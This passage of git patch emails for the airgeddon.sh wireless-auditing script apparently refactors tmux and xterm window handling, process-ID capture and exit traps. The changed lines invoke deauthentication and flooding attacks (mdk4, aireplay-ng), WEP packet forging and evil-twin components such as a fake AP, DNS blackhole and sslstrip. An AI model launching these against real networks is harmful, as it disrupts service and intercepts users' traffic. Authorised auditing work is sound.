]; then + if [ -n "\${1}" ]; then + if [ "\${current_window_name}" = "\${1}" ]; then continue fi fi - tmux kill-window -t "\${session_name}:${current_window_name}" + tmux kill-window -t "${session_name}:\${current_window_name}" done } EOF @@ -2952,17 +2969,25 @@ function set_wep_key_script() { sleep 0.5 EOF - cat >&8 <<-'EOF' - xterm -hold -bg "#000000" -fg "#FFFFFF" -geometry "${window_position}" -T "WEP Key Decrypted" -e "eval \"${wep_key_cmd}\"" > /dev/null 2>&1 & - wep_key_window_pid=$! - { - echo -e "${wep_key_window_pid}" - EOF - - cat >&8 <<-EOF - } >> "${tmpdir}${wepdir}${wep_processes_file}" - fi - EOF + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then + cat >&8 <<-'EOF' + xterm -hold -bg "#000000" -fg "#FFFFFF" -geometry "${window_position}" -T "WEP Key Decrypted" -e "eval \"${wep_key_cmd}\"" > /dev/null 2>&1 & + wep_key_window_pid=$! + { + echo -e "${wep_key_window_pid}" + EOF + else + cat >&8 <<-'EOF' + start_tmux_processes "clear;eval \"${wep_key_cmd}\"" "WEP Key Decrypted" + fi + EOF + fi + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then + cat >&8 <<-EOF + } >> "${tmpdir}${wepdir}${wep_processes_file}" + fi + EOF + fi } #Create here-doc bash script used for wep all-in-one attack @@ -3072,11 +3097,11 @@ function set_wep_script() { if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then cat >&6 <<-'EOF' wep_chopchop_phase2_pid=$! + wep_script_processes+=(${wep_chopchop_phase2_pid}) EOF fi cat >&6 <<-'EOF' - wep_script_processes+=(${wep_chopchop_phase2_pid}) wep_chopchop_phase=3 ;; 3) @@ -3164,8 +3189,6 @@ function set_wep_script() { if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then cat >&6 <<-EOF start_tmux_processes "packetforge-ng -0 -a ${bssid} -h ${current_mac} -k 255.255.255.255 -l 255.255.255.255 -y \"${tmpdir}${wepdir}fragment-\"*.xor -w \"${tmpdir}${wepdir}fragmentation.cap\"" "Fragmentation Attack (2/3)" - # There is no need to grab the process id for this attack as it just runs packetforge and kills itself - wep_fragmentation_phase2_pid="" EOF else cat >&6 <<-EOF @@ -3176,12 +3199,12 @@ function set_wep_script() { if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then cat >&6 <<-'EOF' wep_fragmentation_phase2_pid=$! + wep_script_processes+=(${wep_fragmentation_phase2_pid}) EOF fi cat >&6 <<-'EOF' wep_fragmentation_phase=3 - wep_script_processes+=(${wep_fragmentation_phase2_pid}) ;; 3) wep_fragmentation_phase2_pid_alive=$(ps uax | awk '{print $2}' | grep -E "^${wep_fragmentation_phase2_pid}$" 2> /dev/null) @@ -8842,23 +8865,23 @@ function set_enterprise_control_script() { EOF if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then - cat >&7 <<-'EOF' + cat >&7 <<-EOF function kill_tmux_windows() { local TMUX_WINDOWS_LIST=() local current_window_name - readarray -t TMUX_WINDOWS_LIST < <(tmux list-windows -t "\${session_name}:") - for item in "${TMUX_WINDOWS_LIST[@]}"; do - [[ "${item}" =~ ^[0-9]:[[:blank:]](.*?(\-|[[:blank:]])[A-Za-z0-9[:blank:]\(\/\)]+)([[:blank:]]|\-|\*|\()[[:blank:]]?\([0-9].* ]] && current_window_name="${BASH_REMATCH[1]}" - if [ "${current_window_name}" = "\${tmux_main_window}" ]; then + readarray -t TMUX_WINDOWS_LIST < <(tmux list-windows -t "${session_name}:") + for item in "\${TMUX_WINDOWS_LIST[@]}"; do + [[ "\${item}" =~ ^[0-9]:[[:blank:]](.*?(\-|[[:blank:]])[A-Za-z0-9[:blank:]\(\/\)]+)([[:blank:]]|\-|\*|\()[[:blank:]]?\([0-9].* ]] && current_window_name="\${BASH_REMATCH[1]}" + if [ "\${current_window_name}" = "${tmux_main_window}" ]; then continue fi - if [ -n "${1}" ]; then - if [ "${current_window_name}" = "${1}" ]; then + if [ -n "\${1}" ]; then + if [ "\${current_window_name}" = "\${1}" ]; then continue fi fi - tmux kill-window -t "\${session_name}:${current_window_name}" + tmux kill-window -t "${session_name}:\${current_window_name}" done } EOF @@ -9078,23 +9101,23 @@ function set_et_control_script() { EOF if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then - cat >&7 <<-'EOF' + cat >&7 <<-EOF function kill_tmux_windows() { local TMUX_WINDOWS_LIST=() local current_window_name - readarray -t TMUX_WINDOWS_LIST < <(tmux list-windows -t "\${session_name}:") - for item in "${TMUX_WINDOWS_LIST[@]}"; do - [[ "${item}" =~ ^[0-9]:[[:blank:]](.*?(\-|[[:blank:]])[A-Za-z0-9[:blank:]\(\/\)]+)([[:blank:]]|\-|\*|\()[[:blank:]]?\([0-9].* ]] && current_window_name="${BASH_REMATCH[1]}" - if [ "${current_window_name}" = "\${tmux_main_window}" ]; then + readarray -t TMUX_WINDOWS_LIST < <(tmux list-windows -t "${session_name}:") + for item in "\${TMUX_WINDOWS_LIST[@]}"; do + [[ "\${item}" =~ ^[0-9]:[[:blank:]](.*?(\-|[[:blank:]])[A-Za-z0-9[:blank:]\(\/\)]+)([[:blank:]]|\-|\*|\()[[:blank:]]?\([0-9].* ]] && current_window_name="\${BASH_REMATCH[1]}" + if [ "\${current_window_name}" = "${tmux_main_window}" ]; then continue fi - if [ -n "${1}" ]; then - if [ "${current_window_name}" = "${1}" ]; then + if [ -n "\${1}" ]; then + if [ "\${current_window_name}" = "\${1}" ]; then continue fi fi - tmux kill-window -t "\${session_name}:${current_window_name}" + tmux kill-window -t "${session_name}:\${current_window_name}" done } EOF From a51b9e5148a1c738c0c6987380d081ec9b9533d8 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Sun, 31 Mar 2019 11:11:41 +0530 Subject: [PATCH 104/148] Implemented proper exit of script --- airgeddon.sh | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 56ca9195c..6fc06f952 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -326,6 +326,7 @@ hashcat_charsets=("?l" "?u" "?d" "?s") #Tmux vars session_name="airgeddon" tmux_main_window="airgeddon-Main" +no_hardcore="false" #Check coherence between script and language_strings file function check_language_strings() { @@ -3130,8 +3131,8 @@ function set_wep_script() { cat >&6 <<-'EOF' wep_chopchop_phase=4 - fi - ;; + fi + ;; esac write_wep_processes } @@ -12233,7 +12234,11 @@ function capture_traps() { esac ;; SIGINT|SIGHUP) - hardcore_exit + if [ "${no_hardcore}" = "false" ]; then + hardcore_exit + else + exit ${exit_code} + fi ;; esac else @@ -12313,6 +12318,7 @@ function exit_script_option() { echo if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then clean_env_vars + no_hardcore="true" kill_tmux_session "${session_name}" else clean_env_vars From a052a72b154815c48abeef1548f3d11cfd0e4ddd Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sun, 31 Mar 2019 11:19:17 +0200 Subject: [PATCH 105/148] Some tmux related var and value refactored --- airgeddon.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 6fc06f952..d14750b47 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -326,7 +326,7 @@ hashcat_charsets=("?l" "?u" "?d" "?s") #Tmux vars session_name="airgeddon" tmux_main_window="airgeddon-Main" -no_hardcore="false" +no_hardcore_exit=0 #Check coherence between script and language_strings file function check_language_strings() { @@ -12234,7 +12234,7 @@ function capture_traps() { esac ;; SIGINT|SIGHUP) - if [ "${no_hardcore}" = "false" ]; then + if [ "${no_hardcore_exit}" -eq 0 ]; then hardcore_exit else exit ${exit_code} @@ -12318,7 +12318,7 @@ function exit_script_option() { echo if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then clean_env_vars - no_hardcore="true" + no_hardcore_exit=1 kill_tmux_session "${session_name}" else clean_env_vars From 297a427fc411237923ec80e696fd59b987b71006 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sun, 31 Mar 2019 11:21:08 +0200 Subject: [PATCH 106/148] tmux message hidden on exit --- airgeddon.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index d14750b47..7de391e8e 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -12319,7 +12319,7 @@ function exit_script_option() { if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then clean_env_vars no_hardcore_exit=1 - kill_tmux_session "${session_name}" + kill_tmux_session "${session_name}" > /dev/null else clean_env_vars exit ${exit_code} From ce433f78b84aa21336d94163159edc3c0f927709 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sun, 31 Mar 2019 11:23:25 +0200 Subject: [PATCH 107/148] Fixed shellcheck warning --- airgeddon.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index 7de391e8e..20e9d56fc 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -10207,7 +10207,7 @@ function kill_et_windows() { done if [ -n "${enterprise_mode}" ]; then - kill ${enterprise_process_control_window} &> /dev/null + kill "${enterprise_process_control_window}" &> /dev/null kill "$(ps -C hostapd-wpe --no-headers -o pid | tr -d ' ')" &> /dev/null else kill "${et_process_control_window}" &> /dev/null From d99beb0febf56ec59c6727c3d1f9484971331321 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Tue, 2 Apr 2019 06:39:17 +0530 Subject: [PATCH 108/148] Move tmux PID capturing code blocks to a function --- airgeddon.sh | 294 ++++++++++++++++++++------------------------------- 1 file changed, 112 insertions(+), 182 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 20e9d56fc..bf4486bd7 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2,7 +2,7 @@ #Title........: airgeddon.sh #Description..: This is a multi-use bash script for Linux systems to audit wireless networks. #Author.......: v1s1t0r -#Date.........: 20190331 +#Date.........: 20190402 #Version......: 9.20 #Usage........: bash airgeddon.sh #Bash Version.: 4.2 or later @@ -3625,8 +3625,6 @@ function launch_dos_pursuit_mode_attack() { debug_print - local dos_pid - local dos_cmd_line rm -rf "${tmpdir}dos_pm"* > /dev/null 2>&1 rm -rf "${tmpdir}nws"* > /dev/null 2>&1 rm -rf "${tmpdir}clts.csv" > /dev/null 2>&1 @@ -3645,11 +3643,9 @@ function launch_dos_pursuit_mode_attack() { interface_pursuit_mode_deauth="${interface}" manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"${1} (DoS Pursuit mode)\"" "mdk4 ${interface_pursuit_mode_deauth} d -b ${tmpdir}bl.txt -c ${channel}" "${1} (DoS Pursuit mode)" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then - dos_cmd_line=$(echo "mdk4 ${interface_pursuit_mode_deauth} d -b ${tmpdir}bl.txt -c ${channel}" | tr -d '"') - while [ -z "${dos_pid}" ]; do - dos_pid=$(ps --no-headers aux | grep "${dos_cmd_line}" | grep -v "grep ${dos_cmd_line}" | awk '{print $2}') - done - dos_pursuit_mode_attack_pid="${dos_pid}" + get_tmux_process_id "mdk4 ${interface_pursuit_mode_deauth} d -b ${tmpdir}bl.txt -c ${channel}" + dos_pursuit_mode_attack_pid="${global_process_pid}" + global_process_pid="" fi #xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e mdk4 "${interface_pursuit_mode_deauth}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 & ;; @@ -3660,11 +3656,9 @@ function launch_dos_pursuit_mode_attack() { interface_pursuit_mode_deauth="${interface}" manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"${1} (DoS Pursuit mode)\"" "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface_pursuit_mode_deauth}" "${1} (DoS Pursuit mode)" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then - dos_cmd_line=$(echo "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface_pursuit_mode_deauth}" | tr -d '"') - while [ -z "${dos_pid}" ]; do - dos_pid=$(ps --no-headers aux | grep "${dos_cmd_line}" | grep -v "grep ${dos_cmd_line}" | awk '{print $2}') - done - dos_pursuit_mode_attack_pid="${dos_pid}" + get_tmux_process_id "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface_pursuit_mode_deauth}" + dos_pursuit_mode_attack_pid="${global_process_pid}" + global_process_pid="" fi #xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e aireplay-ng --deauth 0 -a "${bssid}" --ignore-negative-one "${interface_pursuit_mode_deauth}" > /dev/null 2>&1 & ;; @@ -3674,11 +3668,9 @@ function launch_dos_pursuit_mode_attack() { interface_pursuit_mode_deauth="${interface}" manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"${1} (DoS Pursuit mode)\"" "mdk4 ${interface_pursuit_mode_deauth} w -e ${essid} -c ${channel}" "${1} (DoS Pursuit mode)" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then - dos_cmd_line=$(echo "mdk4 ${interface_pursuit_mode_deauth} w -e ${essid} -c ${channel}" | tr -d '"') - while [ -z "${dos_pid}" ]; do - dos_pid=$(ps --no-headers aux | grep "${dos_cmd_line}" | grep -v "grep ${dos_cmd_line}" | awk '{print $2}') - done - dos_pursuit_mode_attack_pid="${dos_pid}" + get_tmux_process_id "mdk4 ${interface_pursuit_mode_deauth} w -e ${essid} -c ${channel}" + dos_pursuit_mode_attack_pid="${global_process_pid}" + global_process_pid="" fi #xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e mdk4 "${interface_pursuit_mode_deauth}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1 & ;; @@ -3688,11 +3680,9 @@ function launch_dos_pursuit_mode_attack() { interface_pursuit_mode_deauth="${interface}" manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"${1} (DoS Pursuit mode)\"" "mdk4 ${interface_pursuit_mode_deauth} b -n ${essid} -c ${channel} -s 1000 -h" "${1} (DoS Pursuit mode)" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then - dos_cmd_line=$(echo "mdk4 ${interface_pursuit_mode_deauth} b -n ${essid} -c ${channel} -s 1000 -h" | tr -d '"') - while [ -z "${dos_pid}" ]; do - dos_pid=$(ps --no-headers aux | grep "${dos_cmd_line}" | grep -v "grep ${dos_cmd_line}" | awk '{print $2}') - done - dos_pursuit_mode_attack_pid="${dos_pid}" + get_tmux_process_id "mdk4 ${interface_pursuit_mode_deauth} b -n ${essid} -c ${channel} -s 1000 -h" + dos_pursuit_mode_attack_pid="${global_process_pid}" + global_process_pid="" fi #xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e mdk4 "${interface_pursuit_mode_deauth}" b -n "${essid}" -c "${channel}" -s 1000 -h > /dev/null 2>&1 & ;; @@ -3702,11 +3692,9 @@ function launch_dos_pursuit_mode_attack() { interface_pursuit_mode_deauth="${interface}" manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"${1} (DoS Pursuit mode)\"" "mdk4 ${interface_pursuit_mode_deauth} a -a ${bssid} -m -s 1024" "${1} (DoS Pursuit mode)" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then - dos_cmd_line=$(echo "mdk4 ${interface_pursuit_mode_deauth} a -a ${bssid} -m -s 1024" | tr -d '"') - while [ -z "${dos_pid}" ]; do - dos_pid=$(ps --no-headers aux | grep "${dos_cmd_line}" | grep -v "grep ${dos_cmd_line}" | awk '{print $2}') - done - dos_pursuit_mode_attack_pid="${dos_pid}" + get_tmux_process_id "mdk4 ${interface_pursuit_mode_deauth} a -a ${bssid} -m -s 1024" + dos_pursuit_mode_attack_pid="${global_process_pid}" + global_process_pid="" fi #xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e mdk4 "${interface_pursuit_mode_deauth}" a -a "${bssid}" -m -s 1024 > /dev/null 2>&1 & ;; @@ -3716,11 +3704,9 @@ function launch_dos_pursuit_mode_attack() { interface_pursuit_mode_deauth="${interface}" manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"${1} (DoS Pursuit mode)\"" "mdk4 ${interface_pursuit_mode_deauth} m -t ${bssid} -w 1 -n 1024 -s 1024" "${1} (DoS Pursuit mode)" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then - dos_cmd_line=$(echo "mdk4 ${interface_pursuit_mode_deauth} m -t ${bssid} -w 1 -n 1024 -s 1024" | tr -d '"') - while [ -z "${dos_pid}" ]; do - dos_pid=$(ps --no-headers aux | grep "${dos_cmd_line}" | grep -v "grep ${dos_cmd_line}" | awk '{print $2}') - done - dos_pursuit_mode_attack_pid="${dos_pid}" + get_tmux_process_id "mdk4 ${interface_pursuit_mode_deauth} m -t ${bssid} -w 1 -n 1024 -s 1024" + dos_pursuit_mode_attack_pid="${global_process_pid}" + global_process_pid="" fi #xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e mdk4 "${interface_pursuit_mode_deauth}" m -t "${bssid}" -w 1 -n 1024 -s 1024 > /dev/null 2>&1 & ;; @@ -3730,11 +3716,9 @@ function launch_dos_pursuit_mode_attack() { interface_pursuit_mode_deauth="${secondary_wifi_interface}" manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${deauth_scr_window_position} -T \"Deauth (DoS Pursuit mode)\"" "mdk4 ${interface_pursuit_mode_deauth} d -b ${tmpdir}\"bl.txt\" -c ${channel}" "Deauth (DoS Pursuit mode)" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then - dos_cmd_line=$(echo "mdk4 ${interface_pursuit_mode_deauth} d -b ${tmpdir}\"bl.txt\" -c ${channel}" | tr -d '"') - while [ -z "${dos_pid}" ]; do - dos_pid=$(ps --no-headers aux | grep "${dos_cmd_line}" | grep -v "grep ${dos_cmd_line}" | awk '{print $2}') - done - dos_pursuit_mode_attack_pid="${dos_pid}" + get_tmux_process_id "mdk4 ${interface_pursuit_mode_deauth} d -b ${tmpdir}\"bl.txt\" -c ${channel}" + dos_pursuit_mode_attack_pid="${global_process_pid}" + global_process_pid="" fi #xterm +j -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth (DoS Pursuit mode)" -e "mdk4 ${interface_pursuit_mode_deauth} d -b ${tmpdir}\"bl.txt\" -c ${channel}" > /dev/null 2>&1 & ;; @@ -3745,11 +3729,9 @@ function launch_dos_pursuit_mode_attack() { dos_delay=3 manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${deauth_scr_window_position} -T \"Deauth (DoS Pursuit mode)\"" "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface_pursuit_mode_deauth}" "Deauth (DoS Pursuit mode)" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then - dos_cmd_line=$(echo "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface_pursuit_mode_deauth}" | tr -d '"') - while [ -z "${dos_pid}" ]; do - dos_pid=$(ps --no-headers aux | grep "${dos_cmd_line}" | grep -v "grep ${dos_cmd_line}" | awk '{print $2}') - done - dos_pursuit_mode_attack_pid="${dos_pid}" + get_tmux_process_id "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface_pursuit_mode_deauth}" + dos_pursuit_mode_attack_pid="${global_process_pid}" + global_process_pid="" fi #xterm +j -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth (DoS Pursuit mode)" -e "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface_pursuit_mode_deauth}" > /dev/null 2>&1 & ;; @@ -3759,11 +3741,9 @@ function launch_dos_pursuit_mode_attack() { interface_pursuit_mode_deauth="${secondary_wifi_interface}" manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${deauth_scr_window_position} -T \"Deauth (DoS Pursuit mode)\"" "mdk4 ${interface_pursuit_mode_deauth} w -e ${essid} -c ${channel}" "Deauth (DoS Pursuit mode)" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then - dos_cmd_line=$(echo "mdk4 ${interface_pursuit_mode_deauth} w -e ${essid} -c ${channel}" | tr -d '"') - while [ -z "${dos_pid}" ]; do - dos_pid=$(ps --no-headers aux | grep "${dos_cmd_line}" | grep -v "grep ${dos_cmd_line}" | awk '{print $2}') - done - dos_pursuit_mode_attack_pid="${dos_pid}" + get_tmux_process_id "mdk4 ${interface_pursuit_mode_deauth} w -e ${essid} -c ${channel}" + dos_pursuit_mode_attack_pid="${global_process_pid}" + global_process_pid="" fi #xterm +j -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth (DoS Pursuit mode)" -e "mdk4 ${interface_pursuit_mode_deauth} w -e ${essid} -c ${channel}" > /dev/null 2>&1 & ;; @@ -8061,18 +8041,14 @@ function launch_fake_ap() { esac fi manage_output "-hold -bg \"#000000\" -fg \"#00FF00\" -geometry ${hostapd_scr_window_position} -T \"AP\"" "${command}${log_command}" "AP" - #xterm -hold -bg black -fg green -geometry "${hostapd_scr_window_position}" -T "AP" -e "${command}${log_command}" > /dev/null 2>&1 & if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then et_processes+=($!) else - local ap_pid - local ap_cmd_line - ap_cmd_line=$(echo "${command}" | tr -d '"') - while [ -z "${ap_pid}" ]; do - ap_pid=$(ps --no-headers aux | grep "${ap_cmd_line}" | grep -v "grep ${ap_cmd_line}" | awk '{print $2}') - done - et_processes+=("${ap_pid}") + get_tmux_process_id "${command}" + et_processes+=("${global_process_pid}") + global_process_pid="" fi + #xterm -hold -bg black -fg green -geometry "${hostapd_scr_window_position}" -T "AP" -e "${command}${log_command}" > /dev/null 2>&1 & sleep 3 } @@ -8303,18 +8279,14 @@ function launch_dhcp_server() { ;; esac manage_output "-hold -bg \"#000000\" -fg \"#FFC0CB\" -geometry ${dchcpd_scr_window_position} -T \"DHCP\"" "dhcpd -d -cf \"${dhcp_path}\" ${interface} 2>&1 | tee -a ${tmpdir}clts.txt 2>&1" "DHCP" - #xterm -hold -bg black -fg pink -geometry "${dchcpd_scr_window_position}" -T "DHCP" -e "dhcpd -d -cf \"${dhcp_path}\" ${interface} 2>&1 | tee -a ${tmpdir}/clts.txt" > /dev/null 2>&1 & if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then et_processes+=($!) else - local dhcp_pid - local dhcp_cmd_line - dhcp_cmd_line=$(echo "dhcpd -d -cf \"${dhcp_path}\" ${interface}" | tr -d '"') - while [ -z "${dhcp_pid}" ]; do - dhcp_pid=$(ps --no-headers aux | grep "${dhcp_cmd_line}" | grep -v "grep ${dhcp_cmd_line}" | awk '{print $2}') - done - et_processes+=("${dhcp_pid}") + get_tmux_process_id "dhcpd -d -cf \"${dhcp_path}\" ${interface}" + et_processes+=("${global_process_pid}") + global_process_pid="" fi + #xterm -hold -bg black -fg pink -geometry "${dchcpd_scr_window_position}" -T "DHCP" -e "dhcpd -d -cf \"${dhcp_path}\" ${interface} 2>&1 | tee -a ${tmpdir}/clts.txt" > /dev/null 2>&1 & sleep 2 } @@ -8365,18 +8337,14 @@ function exec_et_deauth() { pid_control_pursuit_mode "${et_dos_attack}" "evil_twin" & else manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${deauth_scr_window_position} -T \"Deauth\"" "${deauth_et_cmd}" "Deauth" - #xterm -hold -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth" -e "${deauth_et_cmd}" > /dev/null 2>&1 & if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then et_processes+=($!) else - local deauth_pid - local deauth_cmd_line - deauth_cmd_line=$(echo "${deauth_et_cmd}" | tr -d '"') - while [ -z "${deauth_pid}" ]; do - deauth_pid=$(ps --no-headers aux | grep "${deauth_cmd_line}" | grep -v "grep ${deauth_cmd_line}" | awk '{print $2}') - done - et_processes+=("${deauth_pid}") + get_tmux_process_id "${deauth_et_cmd}" + et_processes+=("${global_process_pid}") + global_process_pid="" fi + #xterm -hold -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth" -e "${deauth_et_cmd}" > /dev/null 2>&1 & sleep 1 fi } @@ -9340,18 +9308,14 @@ function launch_dns_blackhole() { recalculate_windows_sizes manage_output "-hold -bg \"#000000\" -fg \"#0000FF\" -geometry ${g4_middleright_window} -T \"DNS\"" "${optional_tools_names[12]} -i ${interface}" "DNS" - #xterm -hold -bg black -fg blue -geometry "${g4_middleright_window}" -T "DNS" -e "${optional_tools_names[12]} -i ${interface}" > /dev/null 2>&1 & if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then et_processes+=($!) else - local dns_pid - local dns_cmd_line - dns_cmd_line=$(echo "${optional_tools_names[12]} -i ${interface}" | tr -d '"') - while [ -z "${dns_pid}" ]; do - dns_pid=$(ps --no-headers aux | grep "${dns_cmd_line}" | grep -v "grep ${dns_cmd_line}" | awk '{print $2}') - done - et_processes+=("${dns_pid}") + get_tmux_process_id "${optional_tools_names[12]} -i ${interface}" + et_processes+=("${global_process_pid}") + global_process_pid="" fi + #xterm -hold -bg black -fg blue -geometry "${g4_middleright_window}" -T "DNS" -e "${optional_tools_names[12]} -i ${interface}" > /dev/null 2>&1 & } #Launch control window for Enterprise attacks @@ -9364,13 +9328,9 @@ function launch_enterprise_control_window() { if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then enterprise_process_control_window=$! else - local enterprise_control_pid - local enterprise_control_cmd_line - enterprise_control_cmd_line=$(echo "bash \"${tmpdir}${control_enterprise_file}\"" | tr -d '"') - while [ -z "${enterprise_control_pid}" ]; do - enterprise_control_pid=$(ps --no-headers aux | grep "${enterprise_control_cmd_line}" | grep -v "grep ${enterprise_control_cmd_line}" | awk '{print $2}') - done - enterprise_process_control_window="${enterprise_control_pid}" + get_tmux_process_id "bash \"${tmpdir}${control_enterprise_file}\"" + enterprise_process_control_window="${global_process_pid}" + global_process_pid="" fi #xterm -hold -bg "#000000" -fg "#FFFFFF" -geometry "${g1_topright_window}" -T "Control" -e "bash \"${tmpdir}${control_enterprise_file}\"" > /dev/null 2>&1 & } @@ -9403,18 +9363,14 @@ function launch_et_control_window() { ;; esac manage_output "-hold -bg \"#000000\" -fg \"#FFFFFF\" -geometry ${control_scr_window_position} -T \"Control\"" "bash \"${tmpdir}${control_et_file}\"" "Control" - #xterm -hold -bg black -fg white -geometry "${control_scr_window_position}" -T "Control" -e "bash \"${tmpdir}${control_et_file}\"" > /dev/null 2>&1 & if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then et_process_control_window=$! else - local control_pid - local control_cmd_line - control_cmd_line=$(echo "bash \"${tmpdir}${control_et_file}\"" | tr -d '"') - while [ -z "${control_pid}" ]; do - control_pid=$(ps --no-headers aux | grep "${control_cmd_line}" | grep -v "grep ${control_cmd_line}" | awk '{print $2}') - done - et_process_control_window="${control_pid}" + get_tmux_process_id "bash \"${tmpdir}${control_et_file}\"" + et_process_control_window="${global_process_pid}" + global_process_pid="" fi + #xterm -hold -bg black -fg white -geometry "${control_scr_window_position}" -T "Control" -e "bash \"${tmpdir}${control_et_file}\"" > /dev/null 2>&1 & } #Create configuration file for lighttpd @@ -9661,18 +9617,14 @@ function launch_webserver() { lighttpd_window_position=${g4_bottomright_window} fi manage_output "-hold -bg \"#000000\" -fg \"#FFFF00\" -geometry ${lighttpd_window_position} -T \"Webserver\"" "lighttpd -D -f \"${tmpdir}${webserver_file}\"" "Webserver" - #xterm -hold -bg black -fg yellow -geometry "${lighttpd_window_position}" -T "Webserver" -e "lighttpd -D -f \"${tmpdir}${webserver_file}\"" > /dev/null 2>&1 & if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then et_processes+=($!) else - local webserver_pid - local webserver_cmd_line - webserver_cmd_line=$(echo "lighttpd -D -f \"${tmpdir}${webserver_file}\"" | tr -d '"') - while [ -z "${webserver_pid}" ]; do - webserver_pid=$(ps --no-headers aux | grep "${webserver_cmd_line}" | grep -v "grep ${webserver_cmd_line}" | awk '{print $2}') - done - et_processes+=("${webserver_pid}") + get_tmux_process_id "lighttpd -D -f \"${tmpdir}${webserver_file}\"" + et_processes+=("${global_process_pid}") + global_process_pid="" fi + #xterm -hold -bg black -fg yellow -geometry "${lighttpd_window_position}" -T "Webserver" -e "lighttpd -D -f \"${tmpdir}${webserver_file}\"" > /dev/null 2>&1 & } #Launch sslstrip for sslstrip sniffing Evil Twin attack @@ -9683,18 +9635,14 @@ function launch_sslstrip() { rm -rf "${tmpdir}${sslstrip_file}" > /dev/null 2>&1 recalculate_windows_sizes manage_output "-hold -bg \"#000000\" -fg \"#0000FF\" -geometry ${g4_middleright_window} -T \"Sslstrip\"" "sslstrip -w \"${tmpdir}${sslstrip_file}\" -p -l ${sslstrip_port} -f -k" "Sslstrip" - #xterm -hold -bg black -fg blue 